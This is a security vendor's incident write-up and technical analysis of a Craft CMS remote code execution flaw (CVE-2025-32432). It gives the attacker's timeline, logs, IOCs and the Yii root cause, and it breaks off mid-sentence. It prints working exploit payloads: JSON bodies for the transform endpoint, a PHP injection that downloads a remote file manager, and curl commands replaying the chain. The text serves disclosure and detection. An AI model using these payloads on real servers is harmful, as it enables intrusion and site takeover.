Introduction
In mid-February, Orange Cyberdefense’s CSIRT was tasked with investigating a server that had been hosting a now-unavailable website. The site had been built using CraftCMS running version 4.12.8. The forensic investigation and post-analysis with the Ethical Hacking team led to the discovery of two CVEs: CVE-2024-58136 and CVE-2025-32432.
This blog post aims to present:
- The investigation that led to the finding of those two CVEs, and details of the different IOCs found during the analysis.
- The technical details of both CVEs, explaining how the Craft CMS was vulnerable through the Yii Framewrork.
- An assessment of the vulnerable assets online.
I. Forensic investigation
TL;DR
- On the 14th of February, a threat actor compromised a web server using CVE-2025-32432.
- The threat actor used it to download a file manager written in PHP on the server which was later used to upload other PHP files to the server.
The rest of this section will cover the following points:
- Investigating a Craft CMS incident: details about which logs were used during the investigation.
- Exploiting CVE-2025-32432: details about how the threat actor leveraged the CVE to compromise the web server.
- Post-exploitation: details about the actions performed by the threat actor after leveraging the CVE.
- Summary: summary of the findings.
- What to look for: key points to look for if you need to investigate a Craft CMS instance that might have been compromised using CVE-2025-32432.
IOCs found during the investigation and linked to the exploitation of CVE-2025-32432 are available in the appendix.
I.1 Investigating a Craft CMS incident
The investigation of the Craft CMS was based on two log sources:
- Access logs produced by the web server.
- Craft CMS logs, mostly its web logs that journalized every request going through
index.php
and details about it such as the parameters for a POST request. Other Craft CMS logs such as the phperrors.log can contain valuable information for the post-exploitation analysis. The default path for logs is the directoryCRAFT_INSTALL_PATH/storage/logs/
.
An analysis of the server was also performed to ensure the threat actor did not compromise the system more widely.
I.2 Exploiting CVE-2025-32432
Step 1: Finding a valid asset ID
Craft CMS uses the notion of “Asset” to manage document files and media on the web site; each asset is defined by a set of properties such as a filename or a unique ID. Specifically, for images Craft CMS offers a built-in image transformation feature to help admins keep images to a certain format. Those transformations can be predefined by creating a transformation template or they can be made on the fly for a selected image.
CVE-2025-32432 relies on the fact that an unauthenticated user could send a POST request to the endpoint responsible for the image transformation and the data within the POST would be interpreted by the server. The data is interpreted when the transformation object is created. In versions 3.x of Craft CMS, the asset ID is checked before the creation of the transformation object whereas in version 4.x and 5.x, the asset ID is checked after. Thus, for the exploit to function with every version of Craft CMS, the threat actor needs to find a valid asset ID. The technical analysis section provides an in-depth analysis of the CVE.
As such the threat actor started to query the URI /index.php?p=admin/actions/assets/generate-transform
multiple times. This URI is responsible for the transformation of an image. With each query the threat actor incremented the asset ID number. Those queries were probably made using a python script as suggested by the user-agent of the requester.
2025-02-10 08:13:48 [web.WARNING] [application] Request context: {"environment":"production","body":"{\"assetId\":162,\"handle\":{\"width\":123,\"height\":123}}","vars":{"\_GET":{"p":"admin/actions/assets/generate-transform"},"\_FILES":[],"\_COOKIE":{"CRAFT\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••"},"\_SERVER":{"USER":[REDACTED],"HOME":[REDACTED],"SCRIPT\_NAME":"/index.php","REQUEST\_URI":"/index.php?p=admin/actions/assets/generate-transform","QUERY\_STRING":"p=admin/actions/assets/generate-transform","REQUEST\_METHOD":"POST","SERVER\_PROTOCOL":"HTTP/1.1","GATEWAY\_INTERFACE":[REDACTED],"REMOTE\_PORT":"36142","SCRIPT\_FILENAME":[REDACTED],"SERVER\_ADMIN":[REDACTED],"CONTEXT\_DOCUMENT\_ROOT":[REDACTED],"CONTEXT\_PREFIX":"","REQUEST\_SCHEME":"https","DOCUMENT\_ROOT":[REDACTED],"REMOTE\_ADDR":"103.106.66.123","SERVER\_PORT":"443","SERVER\_ADDR":[REDACTED],"SERVER\_NAME":[REDACTED],"SERVER\_SOFTWARE":[REDACTED],"SERVER\_SIGNATURE":[REDACTED],"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin","CONTENT\_LENGTH":"57","HTTP\_COOKIE":[REDACTED],"CONTENT\_TYPE":"application/json","HTTP\_X\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••","HTTP\_CONNECTION":"keep-alive","HTTP\_ACCEPT":"\*/\*","HTTP\_ACCEPT\_ENCODING":"gzip, deflate","HTTP\_USER\_AGENT":"python-requests/2.27.1",[...]}}}
Figure 1: Extract of Craft CMS web logs showing the content of a POST request targeting the endpoint generate-transform
When the return code is 404, it means that the requested asset ID doesn’t exist whilst a return code of 302 means that the asset ID exists and the transformation completed, redirecting the user to the transformed asset.
The script was probably made to stop the search as soon as a valid asset ID is found. Indeed, Craft CMS logs indicates that the asset ID was incremented from 125 to 162 which returned a 302 code whilst the others all returned a 404 code.
103.106.66.123 - - [10/Feb/2025:08:13:46 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:13:46 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:13:47 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 302 -
Figure 2: Extract of access logs showing POST requests targeting the endpoint generate-transform
Step 2: Checking if the server is vulnerable
Once a valid asset ID was found, the threat actor tried to determine if the server was vulnerable. They ran a python script that searched again for a valid asset ID – which found the asset ID 11 – and then proceeded to send a POST request to the URI /index.php?p=admin/actions/assets/generate-transform
targeting the asset ID 11. The contents of the body has been modified by adding a new field named as session
:
2025-02-10 08:14:09 [web.WARNING] [application] Request context: {"environment":"production","body":"{\"assetId\":11,\"handle\":{\"width\":123,\"height\":123,\"as session\":{\"class\":\"craft\\\\behaviors\\\\FieldLayoutBehavior\",\"\_\_class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\",\"\_\_construct()\":[[]],\"\_fn\_close\":\"phpinfo\"}}}","vars":{"\_GET":{"p":"admin/actions/assets/generate-transform"},"\_FILES":[],"\_COOKIE":{"CRAFT\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••"},"\_SERVER":{"USER":[REDACTED],"HOME":[REDACTED],"SCRIPT\_NAME":"/index.php","REQUEST\_URI":"/index.php?p=admin/actions/assets/generate-transform","QUERY\_STRING":"p=admin/actions/assets/generate-transform","REQUEST\_METHOD":"POST","SERVER\_PROTOCOL":"HTTP/1.1","GATEWAY\_INTERFACE":[REDACTED],"REMOTE\_PORT":"38660","SCRIPT\_FILENAME":[REDACTED],"SERVER\_ADMIN":[REDACTED],"CONTEXT\_DOCUMENT\_ROOT":[REDACTED],"CONTEXT\_PREFIX":[REDACTED],"REQUEST\_SCHEME":"https","DOCUMENT\_ROOT":[REDACTED],"REMOTE\_ADDR":"103.106.66.123","SERVER\_PORT":"443","SERVER\_ADDR":[REDACTED],"SERVER\_NAME":[REDACTED],"SERVER\_SOFTWARE":[REDACTED],"SERVER\_SIGNATURE":[REDACTED],"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin","CONTENT\_LENGTH":"210","HTTP\_COOKIE":[REDACTED],"CONTENT\_TYPE":"application/json","HTTP\_X\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••","HTTP\_CONNECTION":"keep-alive","HTTP\_ACCEPT":"\*/\*","HTTP\_ACCEPT\_ENCODING":"gzip, deflate","HTTP\_USER\_AGENT":"python-requests/2.27.1",[...]}}}
Figure 3: Extract of Craft CMS web logs showing the content of the POST request targeting the endpoint generate-transform
with a modified body
The field as session
shows a reference to the PHP function phpinfo
which prints information about the PHP configuration. This payload once interpreted and executed by the server will return the content of the phpinfo
function to the threat actor.
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [
[]
],
"_fn_close": "phpinfo"
}
}
}
Figure 4: Content of the body with an illegitimate field as session
Step 3: Exploiting the vulnerability
Soon after this first check, the threat actor exploited the vulnerability to download a PHP file on the server. The exploitation was done in two steps, first, they requested the dashboard admin page with injected PHP code in the a
parameter. The purpose of the code when executed is to download a resource from a GitHub repository and save it as a file named filemanager.php
. This filemanager.php
is from an old repository which is likely only reused by the threat actor. As the threat actor was not authenticated, he was allegedly redirected to the login page.
172.86.113.137 - - [10/Feb/2025:08:16:51 +0100] "GET /index.php?p=admin/dashboard&a=<?=file\_put\_contents(\"filemanager.php\",file\_get\_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?> HTTP/1.1" 302 -
Figure 5: Extract of access logs showing the PHP injection within the request’s parameters
When a user is redirected to be authenticated, Craft CMS stores the return URL within a PHP session file which is written, by default, in the directory /var/lib/php/sessions
. The nomenclature of this file is composed of sess_
and a Craft CMS session ID. The Craft CMS session ID is created for a session the first time a user accesses the website. The Craft CMS session ID is sent to the user within the response.
Second, few minutes after that GET request, a POST request to the image transformation endpoint is made by the same IP address with a modified body which included an illegitimate field named as hack
.
2025-02-10 08:24:57 [web.WARNING] [application] Request context: {"environment":"production","body":"{\"assetId\":11,\"handle\":{\"width\":123,\"height\":123,\"as hack\":{\"class\":\"craft\\\\behaviors\\\\FieldLayoutBehavior\",\"\_\_class\":\"\\\\yii\\\\rbac\\\\PhpManager\",\"\_\_construct()\":[{\"itemFile\":\"\\/var\\/lib\\/php\\/session\\/sess\_3hqjhnca16mpmepr0r94mpu0nr\"}]}}}","vars":{"\_GET":{"p":"actions/assets/generate-transform"},"\_FILES":[],"\_COOKIE":{"CRAFT\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••"},"\_SERVER":{"USER":"[REDACTED]","HOME":"[REDACTED]","SCRIPT\_NAME":"/index.php","REQUEST\_URI":"/index.php?p=actions/assets/generate-transform","QUERY\_STRING":"p=actions/assets/generate-transform","REQUEST\_METHOD":"POST","SERVER\_PROTOCOL":"HTTP/1.1","GATEWAY\_INTERFACE":"[REDACTED]","REMOTE\_PORT":"5310","SCRIPT\_FILENAME":"[REDACTED]","SERVER\_ADMIN":"[REDACTED]","CONTEXT\_DOCUMENT\_ROOT":"[REDACTED]","CONTEXT\_PREFIX":"[REDACTED]","REQUEST\_SCHEME":"https","DOCUMENT\_ROOT":"[REDACTED]","REMOTE\_ADDR":"172.86.113.137","SERVER\_PORT":"443","SERVER\_ADDR":"[REDACTED]","SERVER\_NAME":"[REDACTED]","SERVER\_SOFTWARE":"[REDACTED]","SERVER\_SIGNATURE":"[REDACTED]","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin","CONTENT\_LENGTH":"237","HTTP\_CONNECTION":"keep-alive",[...],"HTTP\_COOKIE":"[REDACTED]","HTTP\_X\_CSRF\_TOKEN":"••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••","CONTENT\_TYPE":"application/json","HTTP\_DNT":"1","HTTP\_ACCEPT\_ENCODING":"gzip, deflate, br","HTTP\_ACCEPT\_LANGUAGE":"en-US,en;q=0.5","HTTP\_ACCEPT":"text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8, application/json","HTTP\_USER\_AGENT":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",[...]}}}
Figure 6: Extract of Craft CMS web logs showing a POST request with a modified body
In this body, the threat actor added the field as hack
to the handle
key. Analysis showed that the name of the new field does not matter as long as it starts with the value as
. The purpose of this new field is to execute – through the use of the PhpManager class of the Yii library – the PHP code present in the file /var/lib/php/session/sess_3hqjhnca16mpmepr0r94mpu0nr
which contains the return URL with injected PHP code.
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as hack": {
"class": "\\craft\\behaviors\\FieldLayoutBehavior",
"__class": "\\yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/var/lib/php/session/sess_3hqjhnca16mpmepr0r94mpu0nr"
}
]
}
}
}
Figure 7: Content of the body with an illegitimate field as hack
A few seconds later, the threat actor was able to access the file named filemanager.php
showing that the exploit had been successful.
172.86.113.137 - - [10/Feb/2025:08:25:08 +0100] "GET /filemanager.php HTTP/1.1" 200 2327
Figure 8: Web access logs showing successful access to the PHP file manager downloaded by the threat actor onto the web server
To summarise the exploitation phase – to work with every version of Craft CMS from 3.x to 5.x a threat actor must first find a valid asset ID. Then they have two ways of exploiting CVE-2025-32432, by:
- Sending a POST request to the endpoint responsible for transforming the image with a PHP function to execute.
- Sending sequentially the following two requests:
- One GET request with an injected PHP code to an admin page while being unauthenticated that will redirect him in order to trigger the writing of the return URL in the PHP session file.
- One POST request to the endpoint in charge of transforming the image with the name of the previously mentioned PHP session file which contains the injected code.
I.3. Post exploitation
I.3.A. Testing the automation of the exploit
During the exploitation section, we did not cover that the threat actor failed to automate the file delivery part or failed at first. There were almost eight minutes between the two requests to download filemanager.php
on the server and the user-agent for both requests was Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
, which differs from the python-requests/2.27.1
that was used before. Those elements suggest that the requests were sent from a real browser and not a python script (since the TA did not bother the hide the Python User-Agent, we have no reason to believe that the second User-Agent used was tampered).
Furthermore, after having checked the server was vulnerable, the threat actor tried to download the file on the server using their automated python script, but it failed every time as the file seemed to be absent. The following excerpt shows:
- The multiples automated POST requests to find a valid asset ID.
- Then when the asset ID is found, a GET request to inject the PHP code within the return URL.
- The POST request to execute the PHP code within the return URL.
- The failed access to the
filemanager.php
proving that the exploitation of the RCE failed.
103.106.66.123 - - [10/Feb/2025:08:14:25 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 400 25838
103.106.66.123 - - [10/Feb/2025:08:14:26 +0100] "GET /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 500 25854
103.106.66.123 - - [10/Feb/2025:08:14:27 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:27 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:28 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:28 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:29 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:29 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:30 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:30 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:30 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:31 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:31 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
103.106.66.123 - - [10/Feb/2025:08:14:32 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 302 -
103.106.66.123 - - [10/Feb/2025:08:14:32 +0100] "GET /index.php?p=admin/dashboard&a=%3C?=file\_put\_contents(%22filemanager.php%22,file\_get\_contents(%22https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php%22))?%3E HTTP/1.1" 302 -103.106.66.123 - - [10/Feb/2025:08:14:33 +0100] "GET /admin/login HTTP/1.1" 200 15106
103.106.66.123 - - [10/Feb/2025:08:14:33 +0100] "GET /index.php?p=admin/actions/users/session-info HTTP/1.1" 200 191
103.106.66.123 - - [10/Feb/2025:08:14:34 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 500 25854
103.106.66.123 - - [10/Feb/2025:08:14:35 +0100] "GET /filemanager.php HTTP/1.1" 404 22556
Figure 9: Web access logs showing the automation of the exploit to download of file on the server did not work at first
The exploitation failure was due to the use of an ill-formed body or the use of PHP libraries within the payload that weren’t installed on the web server.
As such, after having successfully downloaded filemanager.php
on the server, the threat actor deleted it and tried again to download it through an automated process.
172.86.113.137 - - [10/Feb/2025:08:25:42 +0100] "GET /filemanager.php?p=&del=filemanager.php HTTP/1.1" 302 -
172.86.113.137 - - [10/Feb/2025:08:25:43 +0100] "GET /filemanager.php?p= HTTP/1.1" 404 22630
Figure 10: Web access logs showing the threat actor deleting filemanager.php
To do so, he used the IP addresses 172.86.113[.]137
and 104.161.32[.]11
. Even when they successfully downloaded a file on the server through the automated process, the threat actor deleted the file manager again to continue their tests.
172.86.113.137 - - [10/Feb/2025:08:52:47 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 404 25853
172.86.113.137 - - [10/Feb/2025:08:52:48 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 302 -
172.86.113.137 - - [06/Feb/2025:08:52:49 +0100] "GET /index.php?p=admin/dashboard&a=%3C?=file\_put\_contents(%22filemanager.php%22,file\_get\_contents(%22https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php%22))?%3E HTTP/1.1" 302 -
172.86.113.137 - - [10/Feb/2025:08:52:50 +0100] "GET /admin/login HTTP/1.1" 200 15103
172.86.113.137 - - [10/Feb/2025:08:52:51 +0100] "GET /index.php?p=admin/actions/users/session-info HTTP/1.1" 200 189
172.86.113.137 - - [10/Feb/2025:08:52:52 +0100] "POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1" 500 146
172.86.113.137 - - [10/Feb/2025:08:52:53 +0100] "GET /filemanager.php HTTP/1.1" 200 2327
172.86.113.137 - - [10/Feb/2025:08:53:22 +0100] "GET /filemanager.php HTTP/1.1" 302 -
172.86.113.137 - - [10/Feb/2025:08:53:22 +0100] "GET /filemanager.php?p= HTTP/1.1" 200 3486
172.86.113.137 - - [10/Feb/2025:08:53:30 +0100] "GET /filemanager.php?p=&del=filemanager.php HTTP/1.1" 302 -
172.86.113.137 - - [10/Feb/2025:08:53:30 +0100] "GET /filemanager.php?p= HTTP/1.1" 404 22630
Figure 11: Web access logs showing a successful automated drop of the file filemanager.php
The last filemanager.php
was downloaded on the 11th of February at 01:58 by IP address 104.161.32[.]11
using an automated tool they had finally got working.
I.3.B. Using filemanager.php
The only use made of filemanager.php
was to upload up to five files on the 12th of February. The content of the requests cannot be seen as they weren’t logged by Craft CMS.
154.211.22.213 - - [12/Feb/2025:04:00:08 +0100] "GET /filemanager.php?p=&upload HTTP/1.1" 200 2531
154.211.22.213 - - [12/Feb/2025:04:00:15 +0100] "POST /filemanager.php?p=&upload HTTP/1.1" 302 -
Figure 12: Web access logs showing a file upload using filemanager.php
No file creation was observed on the filesystem at the time of those uploads. Nevertheless, two suspicious files were accessed within the hour following the upload.
154.211.22.213 - - [12/Feb/2025:04:10:37 +0100] "GET /wp-22.php?sxallsitemap.xml HTTP/1.1" 200 106
38.145.208.231 - - [12/Feb/2025:04:23:50 +0100] "GET /style.php HTTP/1.1" 500 -
38.145.208.231 - - [12/Feb/2025:04:24:06 +0100] "GET /style.php HTTP/1.1" 200 140
38.145.208.231 - - [12/Feb/2025:04:24:25 +0100] "GET /style.php HTTP/1.1" 500 -
38.145.208.231 - - [12/Feb/2025:04:27:03 +0100] "GET /style.php HTTP/1.1" 200 142
38.145.208.231 - - [12/Feb/2025:04:28:08 +0100] "GET /style.php HTTP/1.1" 200 145
38.145.208.231 - - [12/Feb/2025:04:28:50 +0100] "GET /style.php HTTP/1.1" 500 -
38.145.208.231 - - [12/Feb/2025:04:33:09 +0100] "GET /style.php HTTP/1.1" 200 142
38.145.208.231 - - [12/Feb/2025:04:35:08 +0100] "GET /style.php HTTP/1.1" 200 133
Figure 13: Web access logs showing suspicious access after a file upload
Those files weren’t found on the filesystem. The purpose of wp-22.php
has not been determined. The functioning of style.php
has not been determined but it seemed to embed functionality of a file manager. The creation of an index.php
file within subdirectories of the Craft CMS file structure matches the first four requests with a 200-return code.
The last 200-return code access matches a change of metadata for the file autoload_classmap.php
located at the root of the web directory. Several pieces of evidence suggest that this access was used to rename filemanager.php
into autoload_classmap.php
:
- The file
filemanager.php
andautoload_classmap.php
are the same file as they share the same sha256. - The file
filemanager.php
was not found on the filesystem whereasautoload_classmap.php
was found. - The creation time of
autoload_classmap.php
matches the time creation of the lastfilemanager.php
dropped on the filesystem using CVE-2025-32432. - The last successful access to
filemanager.php
was made at 03:00 the 12th of February. The next access returned a 404 code and was made at 09:03. No access toautoload_classmap.php
was made during that time.
Those elements led us to believe the threat actor renamed filemanager.php
to autoload_classmap.php
.
The use of autoload_classmap.php
started from the 14th of February from several new IP addresses. Multiples PHP files were dropped on the server and ultimately resulted in taking down the web site since these files overwrote legitimate files.
I.4. Summary
On the 10th of February, a threat actor compromised a web server using CVE-2025-32432, which affects all Craft CMS versions from 3.x to 5.x. The threat actor first tested if the server was vulnerable by using the exploit to executing the function phpinfo()
and then proceeded to download a PHP file named filemanager.php
. Between the 10th and the 11th of February, the threat actor improved their scripts by testing the download of filemanager.php
to the web server multiple times with a python script. The file filemanager.php
was renamed to autoload_classmap.php
on the 12th of February and was first used on the 14th of February.
I.5. What to look for?
If you suspect your Craft CMS instance has been breached by someone using CVE-2025-32432, here are the key points to look for:
- Access logs:
- Presence of numerous POST requests on the endpoint
generate-transform
. - Presence of GET requests targeting admin pages with a 302-return code and an injected PHP code.
- Presence of numerous POST requests on the endpoint
- Craft CMS web logs:
- Presence of a field starting with the value
as
within the body of the POST requests targeting the endpointgenerate-transform
. - Presence of the error “Image transform cannot be created”.
- Presence of a field starting with the value
Reminder: IOCs are available in the appendix.
II. Technical analysis
II.1. Context
As explained previously, the attacker made three kinds of requests, which we can replicate using curl:
# request calling phpinfo
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}' -b '<cookies>'
# request pushing PHP code
$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv
# request triggering the PHP code
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_YYY"}]}}}' -b '<cookies>'
Figure 14: Requests made by the attacker, as curl commands
However, simply trying to replay the requests did not achieve code execution on our lab, instead erroring out.
Note: the CraftCMS platform uses the Yii framework.
II.2. Creating an environment to replicate the vulnerabilities
We created a lab to replicate the vulnerability:
# Clone repo
$ git -c advice.detachedHead=false clone https://github.com/craftcms/craft.git --branch 4.1.0 --depth 1 --quiet lab
# Edited version to have the one used in the attack.
$ sed -i "s/\^4.4.0/4.12.8/g" composer.json
$ sed -i "s/\^4.4.0/4.12.8/g" composer.json.default
# Ran composer install
composer install -q --no-ansi --no-interaction --no-scripts --no-progress --no-dev --prefer-dist
# Setup a postgres database with the craft/craft credentials, and the craft database name
# Installed necessary php extensions
# Ran initial setup steps
php craft setup/keys --interactive 0 >/dev/null
php craft setup/db --interactive 0 --driver pgsql --server 127.0.0.1 --user craft --password craft --database craft >/dev/null
php craft install/craft --interactive 0 --email admin@localhost.fr --language en_US --password password --site-name cve --site-url http://localhost:8080 --username admin >/dev/null
# Ran server
./craft serve
Figure 15: Steps used to create a lab
II.3. Triggering phpinfo
The targeted endpoint is the following: /index.php?p=admin/actions/assets/generate-transform
. It maps to the AssetsController::actionGenerateTransform
function, which does not require authentication.
Here is an excerpt of its code:
public function actionGenerateTransform(?int $transformId = null): Response
{
try {
// If a transform ID was not passed in, see if a file ID and handle were.
if ($transformId) {
// ...
} else {
$assetId = $this->request->getRequiredBodyParam('assetId');
$handle = $this->request->getRequiredBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle);
$transformer = $transform?->getImageTransformer();
}
} catch (\Exception $exception) {
// ...
}
// ...
}
Figure 16: Excerpt from vendor/craftcms/cms/src/controllers/AssetsController.php
Note: this route takes a JSON input.
As we can see, it first checks if a transformId
is passed. If it isn’t, the else
branch is taken, and the ImageTransforms::normalizeTransform
function is called, with a user-specified parameter.
Trying to call it gives us a CSRF validation error, which we can temporarily disable in the configuration. We also enable developer mode, giving us stacktraces.
return GeneralConfig::create()
// ...false
->devMode(true)
->enableCsrfProtection(false)
;
Figure 17: Excerpt from config/general.php
Trying our first request again gives us a phpinfo, meaning we reached code execution:
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}' -H 'Content-Type: application/json'
...
<title>PHP 8.2.28 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
...
Figure 18: Reaching code execution
However, we were only able to call a single function without any arguments – not much help for an attacker.
II.4. Understanding why phpinfo
is called
Let’s dig deeper in the code. The normalizeTransform
function checks if our input is valid, and creates a new ImageTransform
from it.
public static function normalizeTransform(mixed $transform): ?ImageTransform
{
// ...
if (is_array($transform)) {
// ...
return new ImageTransform($transform);
}
// ...
}
Figure 19: Excerpt from vendor/craftcms/cms/src/helpers/ImageTransforms.php
The ImageTransform
class constructor is defined in its parent: Model
.
public function __construct($config = [])
{
// ...
App::configure($this, $config);
// ...
}
Figure 20: Excerpt from vendor/craftcms/cms/src/base/Model.php
It calls App::configure
to setup its properties according to the given configuration. This function is a simple for loop:
public static function configure(object $object, array $properties): void
{
foreach ($properties as $name => $value) {
$object->$name = $value;
}
}
Figure 21: Excerpt from vendor/craftcms/cms/src/helpers/App.php
Looking back at our payload, it means we can simplify our code down to:
<?php
require './bootstrap.php';
require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';
use craft\Craft;
use craft\models\ImageTransform;
$model = new ImageTransform();
$model['width'] = 123;
$model['height'] = 123;
$model['as session'] = [
'class' => 'craft\\behaviors\\FieldLayoutBehavior',
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
'__construct()' => [[]],
'_fn_close' => 'phpinfo',
];
Figure 22: Replica code
Executing it gives us a phpinfo
:
$ php replica.php
PHP Version => 8.2.28
...
Figure 23: Replica code being executed
Looking at ImageTransform
, it extends Model
, which extends Yii’s Model
, which ultimately is a Yii Component
. The as session
syntax is specified in its configuration guide:
The as behaviorName elements specify what behaviors should be attached to the object. Notice that the array keys are formed by prefixing behavior names with as ; the value, $behaviorConfig, represents the configuration for creating a behavior, like a normal configuration described here.
Now we need to read up on behaviours:
Behaviors are instances of yii\base\Behavior, or of a child class. Behaviors, also known as mixins, allow you to enhance the functionality of an existing component class without needing to change the class’s inheritance. Attaching a behavior to a component “injects” the behavior’s methods and properties into the component, making those methods and properties accessible as if they were defined in the component class itself. Moreover, a behavior can respond to the events triggered by the component, which allows behaviors to also customize the normal code execution of the component.
So to summarise, using the as x
syntax, we’re able to attach a behavior (aka a mixin) to a Component.
Very interesting! But it does not explain why we’re able to instantiate an arbitrary class. Let’s dive deeper, and look at the __set
function itself.
public function __set($name, $value)
{
$setter = 'set' . $name;
if (method_exists($this, $setter)) {
// ...
} elseif (strncmp($name, 'on ', 3) === 0) {
// ...
} elseif (strncmp($name, 'as ', 3) === 0) {
// as behavior: attach behavior
$name = trim(substr($name, 3));
if ($value instanceof Behavior) {
$this->attachBehavior($name, $value);
} elseif (isset($value['class']) && is_subclass_of($value['class'], Behavior::class, true)) {
$this->attachBehavior($name, Yii::createObject($value));
} elseif (is_string($value) && is_subclass_of($value, Behavior::class, true)) {
$this->attachBehavior($name, Yii::createObject($value));
} else {
throw new InvalidConfigException('Class is not of type ' . Behavior::class . ' or its subclasses');
}
return;
}
// ...
}
Figure 23: Excerpt from vendor/yiisoft/yii2/base/Component.php
Looking at the third branch, we notice that the value of $value['class']
is thoroughly checked. Only if the given class is a subclass of a Behavior
do we allow for object creation.
Going back to our payload, it seems weird that we have two classes:
$model['as session'] = [
'class' => 'craft\\behaviors\\FieldLayoutBehavior',
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
'__construct()' => [[]],
'_fn_close' => 'phpinfo',
];
Figure 24: Excerpt from replica.php
If we remove one or the other, the execution fails. To understand why, we’ll take a look at the Yii::createObject
function directly:
public static function createObject($type, array $params = [])
{
if (is_string($type)) { /* ... */}
if (is_callable($type, true)) { /* ... */}
if (!is_array($type)) { /* ... */}
if (isset($type['__class'])) {
$class = $type['__class'];
unset($type['__class'], $type['class']);
return static::$container->get($class, $params, $type);
}
if (isset($type['class'])) {
$class = $type['class'];
unset($type['class']);
return static::$container->get($class, $params, $type);
}
throw new InvalidConfigException('Object configuration must be an array containing a "class" or "__class" element.');
}
Figure 25: Excerpt from vendor/yiisoft/yii2/BaseYii.php
Haha! The createObject
